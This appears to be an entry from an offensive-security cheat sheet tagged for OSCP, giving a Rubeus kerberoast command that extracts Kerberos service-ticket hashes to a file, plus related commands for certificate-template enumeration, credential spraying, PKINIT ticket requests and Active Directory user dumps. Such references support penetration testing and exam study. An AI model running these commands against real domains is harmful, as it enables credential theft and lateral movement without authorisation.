Rubeus.exe kerberoast /domain:$DOMAIN /outfile:hashes.kerberoast

• Windows
• oscp
• Kerberos
• PrivEsc
• LateralMovement
• InitialAccess

Kerberos abuse on Windows with Rubeus, by action.

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• credspray.sh -t $IP -u findings.txt -c findings.txt
• uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PAS...
• uv run gtfobinsuid.py
• impacket-GetADUsers -dc-ip $IP -all $DOMAIN/$USER:$PASSWORD